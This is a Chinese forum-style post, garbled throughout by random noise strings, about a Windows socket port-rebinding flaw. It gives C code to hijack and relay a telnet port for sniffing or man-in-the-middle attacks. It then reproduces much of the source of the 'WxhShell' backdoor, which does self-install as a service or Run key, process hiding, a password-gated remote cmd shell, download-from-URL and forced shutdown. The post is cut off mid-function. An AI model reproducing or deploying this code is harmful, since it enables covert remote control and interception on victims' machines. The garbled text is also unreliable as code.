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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |g 3:+& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:9UgERjra ]WDmx$"&e saddr.sin_family = AF_INET; ^b+>r tf~B,? saddr.sin_addr.s_addr = htonl(INADDR_ANY); 29RP$$gR DQXUh#t\(] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?8V.iHJk eTx9fxw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ux&"TkEp W%g*sc*+ 这意味着什么?意味着可以进行如下的攻击: I1E9E$m5\< .Az36wD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E?XaU~cpc
QPx5`{nN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %vJHr!x 46 A sD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SraZxuPg> OT])t<TF6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 elCYH9W^ !'jq.RawP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^U_T<x8{ !,[#,oy; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yXR1NYg `Y?VQ~ci> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K.)!qkW-%S n(F!t,S1i #include r.H`3m.0q #include /sKL|]i= #include l/X_CM8y~ #include l'+3
6 DWORD WINAPI ClientThread(LPVOID lpParam); S:_Ms{S int main() YO7U}6wBt { Lj1l]OD WORD wVersionRequested; ;?2)[a DWORD ret; cJ96{+ WSADATA wsaData; p`Pa;=L BOOL val; ^Pn|Q'{/p SOCKADDR_IN saddr; O^@8Drgc SOCKADDR_IN scaddr; dE7x
SI int err; IK2da@V SOCKET s; b&z#ZY SOCKET sc; lYx_8x2 int caddsize; ]<f)Rf">:` HANDLE mt; a$My6Qa# DWORD tid; bBjr hi wVersionRequested = MAKEWORD( 2, 2 ); A>@#eyB err = WSAStartup( wVersionRequested, &wsaData ); ]ZY2\' if ( err != 0 ) { 9jkz83/+< printf("error!WSAStartup failed!\n"); %v0M~J}+ return -1; QJ2]8K)+C } *r`=hNr saddr.sin_family = AF_INET; v/`D0g-uX) A5XMA|2_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (0$~T}lH Bs~~C8+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n1f8jS+'} saddr.sin_port = htons(23); ]" 'yf;g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o^"+X7) { q#K{~: printf("error!socket failed!\n"); pp"X0 return -1; }@r23g% } uAO!fE}CJ val = TRUE; >f]/VaMH{ //SO_REUSEADDR选项就是可以实现端口重绑定的 KUI{Z I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v ccH(T { t%=7v)IOE printf("error!setsockopt failed!\n"); nh} Xu~#_ return -1; TjW!-s?S } `fBQ?[05. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /%T/@y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s.2f'i+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2@|`Ugjptl ]EiM~n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pHeG{<^ { F5o8@ Ib]: ret=GetLastError(); =L!&Z printf("error!bind failed!\n"); U%q)T61 return -1; KYFKH+d>m } 0@ `]m listen(s,2); k%.v`H! while(1) 8Y`Lq$u { F\:~^` caddsize = sizeof(scaddr); clE9I<1v //接受连接请求 VeA@HC`?" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^)AECn if(sc!=INVALID_SOCKET) ='7m$,{(Q[ { -$d?e%}# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c#OxI*,+/ if(mt==NULL) ? x%s
j { K.Xy:l*z printf("Thread Creat Failed!\n"); h3MdQlJ& break;
R3>q ] } Wg-mJu( } ng1E'c]0@ CloseHandle(mt); PucNu8 } QK-aH1r closesocket(s); C;BO6$*_e WSACleanup(); a"#t'\ return 0; ;d?BVe? } @cDB 7w\ DWORD WINAPI ClientThread(LPVOID lpParam) fv;Q*; oC& { +:KZEFY?< SOCKET ss = (SOCKET)lpParam; i).%GMv*r SOCKET sc; {*_Ln unsigned char buf[4096]; Aiq Kf= SOCKADDR_IN saddr; ,1]UOQ>AP long num; '}OdF*L DWORD val; X5)D [aE6 DWORD ret; #7uH>\r //如果是隐藏端口应用的话,可以在此处加一些判断
+25}X{r$_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 omfX2Oa2 saddr.sin_family = AF_INET; A*h8 o9M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b_x!m{ saddr.sin_port = htons(23); 1iT_mtXK$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TegdB|y7O { Jf^3nBZ printf("error!socket failed!\n"); R`j"iC2 return -1; Pf;OYWST } nW=6nCyvo val = 100; x;mw?B[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9{pT)(Wnb { z
g7Q` ret = GetLastError(); YD4I2'E return -1; a*M|_&MH* } %['NPs%B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (hc!!:N~q { N_%@_$3G] ret = GetLastError(); }e7Rpgu return -1; Wv4$Lgr } (:iMs)
iO{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6i/unwe!`) { t>[QW`EeP printf("error!socket connect failed!\n"); RXXHg closesocket(sc); z~H1f$} closesocket(ss); 5hE#y]pfN return -1; ~kc#"^sJ } 1jC85^1Taq while(1) 5gz ^3R|`f { Q& [!+s:2J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uP9b^LEoN //如果是嗅探内容的话,可以再此处进行内容分析和记录 2CC"Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c)EYXo num = recv(ss,buf,4096,0); z %}"= if(num>0) |!o C7!+0^ send(sc,buf,num,0); PMQTcQ^ else if(num==0) a~KtH;7< break; IADSWzQ@ num = recv(sc,buf,4096,0); B>u`%Ry& if(num>0) 8:Hh;nl send(ss,buf,num,0); 5OdsT-y else if(num==0) HNkOPz+d&8 break; r/h\>s+N } }s2CND closesocket(ss); /JNG}* closesocket(sc); AD return 0 ; J.iz%8 } JuJW]E Q Uw4iWcC )CXlPbhY? ========================================================== =eA|gt A
rE~6X 下边附上一个代码,,WXhSHELL EW$drY@ lBP?7`U ========================================================== SFg4}*"C / TG=A]--_a #include "stdafx.h" 9Qyc!s` N[@~q~v #include <stdio.h> *)[fGxz
\ #include <string.h> Od.@G ~ #include <windows.h> +}jzge" #include <winsock2.h> +v/y{8Fu #include <winsvc.h> ;(K/O?nrJ #include <urlmon.h> \J:+Wl.9A k4#j
l<R #pragma comment (lib, "Ws2_32.lib") gj;gl
="3 #pragma comment (lib, "urlmon.lib") f@sC~A. 9\ j+!u=E #define MAX_USER 100 // 最大客户端连接数 '@t,G,FJ #define BUF_SOCK 200 // sock buffer w/NT 5 #define KEY_BUFF 255 // 输入 buffer \BBs;z[/ kQI'kL8> #define REBOOT 0 // 重启 W2`3 p #define SHUTDOWN 1 // 关机 B1X&O d m03dL^( #define DEF_PORT 5000 // 监听端口 aPJTH0u Ry[7PLn] #define REG_LEN 16 // 注册表键长度 p;4FZ$ #define SVC_LEN 80 // NT服务名长度 |X{j^JP5 "OwM'
n8 // 从dll定义API EG4~[5[YgI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kmx4bp4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5kqI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G5hRx@vfrL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); km>ZhsqD /Ey%aA4v // wxhshell配置信息 '&Ur(axs struct WSCFG { (bm>
)U= int ws_port; // 监听端口 Dp['U char ws_passstr[REG_LEN]; // 口令 /'oo;e int ws_autoins; // 安装标记, 1=yes 0=no 9ad`q+kY char ws_regname[REG_LEN]; // 注册表键名 C32*RNG?U char ws_svcname[REG_LEN]; // 服务名 f)vnm*&- char ws_svcdisp[SVC_LEN]; // 服务显示名 xS,F
DPA char ws_svcdesc[SVC_LEN]; // 服务描述信息 YUSrZ9Yg char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <=CABWO. int ws_downexe; // 下载执行标记, 1=yes 0=no -sHX char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _"*vj-{-y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~_BjcY ?uCL[ }; 9@qkj
4w &CRgi488b // default Wxhshell configuration *X3wf`C? struct WSCFG wscfg={DEF_PORT, 7OLHY t9 "xuhuanlingzhe", w[a(I}x 1, 5_A*IC] "Wxhshell", NxJnU<g- "Wxhshell", h_-4Q"fb( "WxhShell Service", "}
:CM_ "Wrsky Windows CmdShell Service", WBKf)A^S "Please Input Your Password: ", S9DXd]6q_ 1, ^coCsV^CW" " http://www.wrsky.com/wxhshell.exe", NJJ=ch "Wxhshell.exe" %,$xmoj9O] }; m|JA}&A @GXKqi // 消息定义模块 3LyNi$`f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t=eI*M+>h char *msg_ws_prompt="\n\r? for help\n\r#>"; h@JX?LzZS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; N_Ezp68Fp char *msg_ws_ext="\n\rExit."; 7r:&%?2:g char *msg_ws_end="\n\rQuit."; `JV(ae0 char *msg_ws_boot="\n\rReboot..."; FzOWM7+\ char *msg_ws_poff="\n\rShutdown..."; #P!<u Lc% char *msg_ws_down="\n\rSave to "; Sg%s\p]N_# ~jJ.E_i char *msg_ws_err="\n\rErr!"; V ~jp char *msg_ws_ok="\n\rOK!"; ,XscO7 N, u]2,E char ExeFile[MAX_PATH]; +hKU]DP2; int nUser = 0; "Plo[E HANDLE handles[MAX_USER]; W*iTg%a\k int OsIsNt; ]Ndy12,M ;HYEJ3 SERVICE_STATUS serviceStatus; IAbQgBvUD SERVICE_STATUS_HANDLE hServiceStatusHandle; ta5_k&3N NHUJ:j@ // 函数声明 yk!K5 int Install(void); f4,|D | int Uninstall(void); ]' n4e* int DownloadFile(char *sURL, SOCKET wsh); Rkg)yme!N int Boot(int flag); An}RD73!w void HideProc(void); C ]B P}MY< int GetOsVer(void); qh W]Wd"g int Wxhshell(SOCKET wsl); \{Q_\s&) void TalkWithClient(void *cs); yQ^, >eh int CmdShell(SOCKET sock); QiA}0q3]0 int StartFromService(void); H9'psv int StartWxhshell(LPSTR lpCmdLine); c?<)!9: -Sh&x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2\&3x}@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); s[eSPSFZ :G98uX t // 数据结构和表定义 Fnk@)1 SERVICE_TABLE_ENTRY DispatchTable[] = QSzht$8 { 3st?6?7| {wscfg.ws_svcname, NTServiceMain}, A*:|d~ {NULL, NULL} )sQ/$gJ }; RIUJX{?
{d#sZT // 自我安装 iEI#J!~ int Install(void) P9:5kiP H { TH y?Y char svExeFile[MAX_PATH]; t@R n#(~" HKEY key; \7h>9}wGf strcpy(svExeFile,ExeFile); A#K<5%U{Mv J9t?;3 // 如果是win9x系统,修改注册表设为自启动 1D)0\#>< if(!OsIsNt) { J9;fqQCt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { du'`&{_/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [X /s^42 RegCloseKey(key); &:ZR% f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YH+(N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uu*iL< ` RegCloseKey(key); S W6oaa81 return 0; K 0o F=| } xR$T/] / } _U LzA
} [f {qb\ else { 9D`K#3} x'?p?u~[ // 如果是NT以上系统,安装为系统服务 wjH1Ombt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }8YY8|]LI if (schSCManager!=0) /~".GZ&29 { <-'
!I& SC_HANDLE schService = CreateService s8's(*] ( a {x3FQ schSCManager, KkTE -$- wscfg.ws_svcname,
SmDNN^GR wscfg.ws_svcdisp,
w\D
!e SERVICE_ALL_ACCESS, nC[aEZ7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /9gn)q2f( SERVICE_AUTO_START, ex`T9j.=B SERVICE_ERROR_NORMAL, F
=*4]O svExeFile, yEjiMtQll] NULL, \p.yR. NULL, rZ n@i NULL, F_-xp1| NULL,
mT -[I<
NULL $aU.M3
); JvvN>bg if (schService!=0) 7BINqVS& { F7j/Zuj CloseServiceHandle(schService); dR_6j} CloseServiceHandle(schSCManager); (_@]- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cK\
u strcat(svExeFile,wscfg.ws_svcname); A15Kj#Oy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lj GZp"&{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1,h:| RegCloseKey(key); djnES,^%9 return 0; MCEHv}W } 7T6Zlp } 5y
g`TW CloseServiceHandle(schSCManager); ?Be}{Qqlg } aaKf4} } 7q;`~tbC A/:_uqm4 return 1; EAXl.Y.
$ } ZCZ@ZN 4'`P+p"A // 自我卸载 i\^4EQ int Uninstall(void) S2\;\?]^~ { 5rbb
,* HKEY key; %GY'pQz a:l-cZ/! if(!OsIsNt) { YU8]W% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \X\f~CB RegDeleteValue(key,wscfg.ws_regname); |
?vm.zp RegCloseKey(key); eC%Skw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z- a RegDeleteValue(key,wscfg.ws_regname); Djc-f RegCloseKey(key); Pf,@U'f| return 0; d8agM/F*/ } ^vT!24sK } VZr:yE } H
I_uR$m else { Ng !d6] iKd+AzT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N8Z z6{rp if (schSCManager!=0) rq!*unJ { (&Lt&i _ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! #!
MTk if (schService!=0) 6YNL4HE? { 2IM31 . if(DeleteService(schService)!=0) { =+wd"Bu CloseServiceHandle(schService); !dGu0wE
CloseServiceHandle(schSCManager); ]OdZlZBsJ return 0; [(3s5)O } *@PM,tS; CloseServiceHandle(schService); $fg@g7_: } 8Vj'&UY CloseServiceHandle(schSCManager); 7p2xst } I_z(ft. } 7_ayn#;y p)iEwl}!j return 1; MomHSv Q\ } 7`A]X,: RQo
a // 从指定url下载文件 <]1,L% int DownloadFile(char *sURL, SOCKET wsh) K6-M .I { |]@Pq[Hn| HRESULT hr; 3Y2~HuM char seps[]= "/"; <C(o0u&/ char *token; OHpV%8` char *file; :yD>Tn;1 char myURL[MAX_PATH]; HLwMo&*rA char myFILE[MAX_PATH]; r#4/~a5i~ ML\>TDt strcpy(myURL,sURL); kO3\v)B; token=strtok(myURL,seps); Pb8@owG8 while(token!=NULL) "#o..?K { KsOWTq"uj file=token; L0!CHP/nRS token=strtok(NULL,seps); }}tbOD)t } < z2wt A)C)5W GetCurrentDirectory(MAX_PATH,myFILE); @lE'D":? strcat(myFILE, "\\"); /
}$n_N\!) strcat(myFILE, file); |0=UZK7%O send(wsh,myFILE,strlen(myFILE),0); )'U0n`= send(wsh,"...",3,0); A/'po_'uy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]1<GZ` if(hr==S_OK) 9/(jY$Ar return 0; 3)W zX else h5@GeYda return 1; gd*Gn" [#q>Aq$11 } ={ms@/e/T {JP q.A // 系统电源模块 %?PFe} int Boot(int flag) /v+)#[]> {
6j<!W+~G HANDLE hToken; qtZ?
kJ TOKEN_PRIVILEGES tkp; WrGnLE
kiV MqAi}z% if(OsIsNt) { vW=L{8zu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Ckx.m & LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HTOr tkp.PrivilegeCount = 1; &2`p#riAS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (\{k-2t*^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /qX?ca1_4^ if(flag==REBOOT) { a^p#M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yk`qF'4] return 0; )e,O+w" } Y/FPkH4 else { h0rPMd(K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8XB[CbO return 0; ^'V :T Y } rKrHd } f
5v&4 else { k9;^|Cm
k if(flag==REBOOT) { c;$4}U4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aZWj52 return 0; Tf86CH=)5 } pZ.b
X else { CP~ZIIip" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \x}\)m_7M< return 0; m [B#k$ } @vt.Db } 9RJF
-BSdrP| return 1; -[=eVS.2% } CBEf;Ig pUXoSnIq: // win9x进程隐藏模块 \#_ymM0 void HideProc(void) gYB!KM *v { W[\6h Zv G@k]rwub HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dw%'u'HG if ( hKernel != NULL ) 43PLURay { u=.8M`FxP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "B_3<RSL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cs+3&T:,* FreeLibrary(hKernel); nF,F#V8l } &<PIm P]43FPb return; V\;Xa0 } _B0(1(M<2 N*o{BboK; // 获取操作系统版本 UZyg_G6 int GetOsVer(void) @AEH?gOX { LjI`$r.B OSVERSIONINFO winfo; X8$i*#D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .:$(o& GetVersionEx(&winfo); 8W\yM;' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l-+=Yk!X return 1; m2j&0z else x}+zhRJ return 0; fST.p|b7 } p0Jr{hM %F;BL8d // 客户端句柄模块 ^+_rv int Wxhshell(SOCKET wsl) |C[!A { q!$s<n SOCKET wsh; !D#"+&&G8 struct sockaddr_in client; hmu>s' DWORD myID; 7Y5 r3a}% [.gk{> # while(nUser<MAX_USER) ngo> ^9/8 { n)e2? int nSize=sizeof(client); LhJUoX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); srGOIK. if(wsh==INVALID_SOCKET) return 1; 0MW W(
; .kT]^rv
; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yLnQ9BXB& if(handles[nUser]==0) t6DSZ^Zq closesocket(wsh); +>Wo:kp3 else K-0=#6?y4 nUser++; VdlT+'HF } eZ$7VWG# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &93{>caf+ 7Sx|n}a-3 return 0; z'YWomfZm } ,;$OaJFT p
F-Lz<V // 关闭 socket h?mDtMCw2 void CloseIt(SOCKET wsh) V}jGxt0 { 5\+*ml closesocket(wsh); +A|
Bc~2! nUser--; Q|'f3\ ExitThread(0); J:Cr.K` } }[AaI # u<-)C)z // 客户端请求句柄 n{tc{LII/ void TalkWithClient(void *cs) 0#*6:{/^ { OQ-)
4Uk} !HY^QK SOCKET wsh=(SOCKET)cs; YuK+N char pwd[SVC_LEN]; [G<ga80 char cmd[KEY_BUFF]; J(7#yg%5 char chr[1]; K10G+'H^ int i,j; {VcRur}&Y8 =zkN63S while (nUser < MAX_USER) { -DI
>O/ GX>8B:]o| if(wscfg.ws_passstr) { m5K?oV@n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9&lemz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r48|C{je- //ZeroMemory(pwd,KEY_BUFF); 'C]w3Rh' i=0; xl&@g)Jj while(i<SVC_LEN) { EXDDUqZ5\ L&p R# // 设置超时 CX|W$b)% fd_set FdRead; 1oQw)X struct timeval TimeOut; /<rvaR FD_ZERO(&FdRead); J"`VA_[ FD_SET(wsh,&FdRead); bb6x} jR TimeOut.tv_sec=8; (GJtTp~2C4 TimeOut.tv_usec=0; _Mw3>GNl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D2$9$xeR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UB$}`39@ j-<-!jTd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_FB^BB pwd =chr[0]; AO-5>r if(chr[0]==0xd || chr[0]==0xa) { IMf|/a9- pwd=0; 8 v/H;65 break; tFmB`*!% } 6,>$Jzs)5E i++; aU!}j'5Q } AdDX_\V,* c!EA>:;(< // 如果是非法用户,关闭 socket tOIqX0dWd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \5ls
<=S. } n7t}G'*Y!^ _.5{vGyxr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'OY4Q'Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Hoc`u >h7(kj: while(1) { yE:y[k0E |E8sw a ZeroMemory(cmd,KEY_BUFF); JW>k8QjyN ..N6]u // 自动支持客户端 telnet标准 OSBR2Z;= j=0; M':-f3aT% while(j<KEY_BUFF) { V:\:[KcL^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); csP4Oq\g[ cmd[j]=chr[0]; zL"e . if(chr[0]==0xa || chr[0]==0xd) { <.h7xZ cmd[j]=0; 'O<b'}-A break; q[s,q3n~ } \{h_i
FU! j++; Zbczbnj } &g:( I kWr1>})' // 下载文件 U0&myj 8L if(strstr(cmd,"http://")) { q5f QTV send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]#o;`5' if(DownloadFile(cmd,wsh)) hek+zloB+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rhc:szDU else &[G)YD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cv'8_3 } SU0Ss gFB else { L=lSW7R 9z(SOzZn switch(cmd[0]) { }B0[S_mw <"3q5ic/Z // 帮助 [jgVN w""D case '?': { hK?GIbRZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KL$.E!d break; >|3Y+X } ?!RbS#QV} // 安装 f^pBXz9&= case 'i': { um9&f~M if(Install()) ]it.
R- send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7y
Cf3 else hz/mNDE] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U$y9f break; |4+'YgO } Ag8/%a~( // 卸载 Xu-~j! case 'r': { [N,+mX if(Uninstall()) 7$*E0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tvv>9gS else r_+Vb*|Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =%U&$d|@G break; P'KA-4! } h8/tKyr8( // 显示 wxhshell 所在路径 8ZtJvk` case 'p': { "Q@m7j)( char svExeFile[MAX_PATH]; klKUX/g strcpy(svExeFile,"\n\r"); )Xdq+$w. strcat(svExeFile,ExeFile); v!I z&M:z send(wsh,svExeFile,strlen(svExeFile),0); 8F[];LF> break; Y -it3q'Z } I~l
qg // 重启 sc*R:" case 'b': { rWr'+v? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `l45T~`]$ if(Boot(REBOOT)) c/Pql!h+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); qc(e3x else { )>~jjR closesocket(wsh); 3EY Ed39E ExitThread(0); z</C)ObL } ?NA$<0 break; P%R!\i } ?s, oH // 关机 @|A!?} case 'd': { 2/3yW.C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >/-H!jUF] if(Boot(SHUTDOWN)) $}vk+.!*1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); tav@a) else { Q0xGd(\ closesocket(wsh); JV_`E_! ExitThread(0); "|JbdI]%P } \PS]c9@,rc break; A.b^?k%I } )j2#5`?"j // 获取shell :2j`NyLI. case 's': { RQ=rB9~:ZN CmdShell(wsh); U*+-# closesocket(wsh); 18X?CoM~ ExitThread(0); h1S)B|~8 break; (?Ko:0+* } Ucv7`W
gr // 退出 hTa X@=Ra case 'x': { P4B|l: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qt9jZtx CloseIt(wsh); =|J*9z; break; 0_qr7Ui8( } =mLp g4 // 离开 5QqU.9M case 'q': { ;?q(8^A send(wsh,msg_ws_end,strlen(msg_ws_end),0); u^xnOVE closesocket(wsh); UG\2wH_ WSACleanup(); @95p [ exit(1); 'A|c\sy break; 6r"NU`1A;r } QyCrz{/ } TDw~sxtv& } E^J &?- 4Pr^>m // 提示信息 #_^p~: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wfO-bzdw } o|>=<l } ="]lN |8E~C~d return; zwUC
L } Mq~E'g4# TeuZVy8a // shell模块句柄 v8F{qT50 int CmdShell(SOCKET sock) 62nmm/c { }t#|+T2f STARTUPINFO si; !84Lvg0& ZeroMemory(&si,sizeof(si)); yl?LXc[) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q=!
lbW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > 3x^jh PROCESS_INFORMATION ProcessInfo; $cn8]*Z= char cmdline[]="cmd"; Mxw-f4j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QeF:s|[ return 0; Ak3^en } F4~OsgZ'N Lea4-Gc // 自身启动模式 UG44 oKB int StartFromService(void) .WSn Y71 { 41/civX>V typedef struct @F 8NN\ { Q1Qw45$ DWORD ExitStatus; (,sz. DWORD PebBaseAddress; 0Gj/yra9MO DWORD AffinityMask; j)G%I y[` DWORD BasePriority; m\*ca3$ ULONG UniqueProcessId; @[joM*U ULONG InheritedFromUniqueProcessId; w}6~t\9D } PROCESS_BASIC_INFORMATION; \>4>sCC UxMy8}w!y PROCNTQSIP NtQueryInformationProcess; #&uajo c1kV}-v static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (XR}U6^v] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1/\Xngd `hY%HzV= HANDLE hProcess; Qxy~%;X PROCESS_BASIC_INFORMATION pbi; DEu0Z !0^4D=dO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CD`6R. if(NULL == hInst ) return 0; c\[&IlM auIW>0?} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [-Z 6QzT g_pGetModuleBaseName = 